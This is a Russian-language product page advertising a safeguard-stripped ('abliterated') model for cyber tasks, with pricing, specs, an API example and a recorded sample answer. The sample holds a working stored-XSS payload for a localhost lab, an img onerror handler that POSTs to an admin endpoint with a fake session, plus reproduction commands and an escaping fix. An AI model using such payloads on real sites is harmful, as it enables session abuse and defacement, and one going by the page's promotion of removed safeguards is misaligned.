uncensoredlabs
ВойтиНачать
← Все модели

GLM-5.3 Abliterated

glm-5.3-abliterated
Выбор для киберзадач. Редакционная рекомендация, а не рейтинг по тестам.

Доступно в браузерном чате и через OpenAI-совместимый API.

Открыть чатПример API

Цены токенов

Цены в USD за 1 миллион токенов

Ввод / 1M
1,400 $
Кеш / 1M
0,400 $
Вывод / 1M
1,400 $

Характеристики модели

Zhipu AI · с удалёнными ограничениями

Контекстное окно
1 000 000 токены
Максимальный вывод
130 000 токены
Возможности
Текст · Потоковая передача · Вызовы инструментов

Измеренная производительность

Среднее токенов/с
151,1
Оценка TTFT
1,3 s
Индикатор доступности
100%

Обновлено 01.11.2026, 20:21:37 UTC · Успешность провайдера за 24 ч · Прочерк означает, что актуальных измерений недостаточно.

Посмотрите ответ модели

Реальный ответ на вопрос о хранимой XSS для локальной лаборатории. Запрос и ответ на английском. Вывод показан как текст; код здесь не выполняется.

GLM-5.3 Abliterated

Записанный ответ модели · 28 окт. 2026 г., 19:07 UTC

Вы

Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.

GLM-5.3 Abliterated

Выбранный фрагмент записанного ответа. Некоторые части опущены.

Repro:
node server.js &
curl -s -X POST http://localhost:3000/comment \
  --data-urlencode 'comment=<img src=x onerror="fetch(\"/admin/banner\",{method:\"POST\",headers:{\"Content-Type\":\"application/x-www-form-urlencoded\"},body:\"banner=OWNED+IN+THE+LAB\",credentials:\"include\"})">'
xdg-open http://localhost:3000/admin-view   # macOS: open ...
sleep 1
curl -s http://localhost:3000/ | grep -o 'Banner: [^<]*'
The browser visits /admin-view, gets fake admin=1, renders the stored comment, and the onerror handler POSTs same-origin to /admin/banner with the fake cookie. Expected output: Banner: OWNED IN THE LAB. Safe rendering fix: replace raw comment interpolation with ${esc(c)} in the comments map.
Записанный пример, не живой чат.Открыть чат

Используйте модель через API

Создайте API-ключ и пополните баланс. Задайте UNCENSOREDLABS_API_KEY в окружении. Для JavaScript или Python установите пакет openai.

curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
  -H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "glm-5.3-abliterated",
    "messages": [{"role": "user", "content": "Hello, world."}],
    "max_tokens": 256,
    "stream": true
  }'
Совместимо с OpenAI. Измените базовый URL.Прочитать быстрый старт

Ограничения и оплата

  • Отсутствие фильтров не гарантирует ответ на любой запрос. Ответ может быть неверным, неполным, либо модель может отказать.
  • Максимум вывода — лимит сервиса UncensoredLabs. Длинные ответы и полное окно контекста не проходили нагрузочные измерения.
  • Кредиты резервируются под запрошенный вывод и консервативный лимит ввода; для моделей без проверенного учёта по размеру запроса используется полное окно контекста. Итоговый платёж основан на подтверждённом использовании; неопределённые запросы могут сохранять резерв.
  • Лимит времени — десять минут. Действуют ограничения частоты, параллельности и доступность провайдера; ошибки API включают 429 с Retry-After.
  • UncensoredLabs не хранит запросы и ответы на своих серверах. Применяется политика хранения провайдера инференса.
Ошибки и лимиты частотыКак работает оплатаКонфиденциальность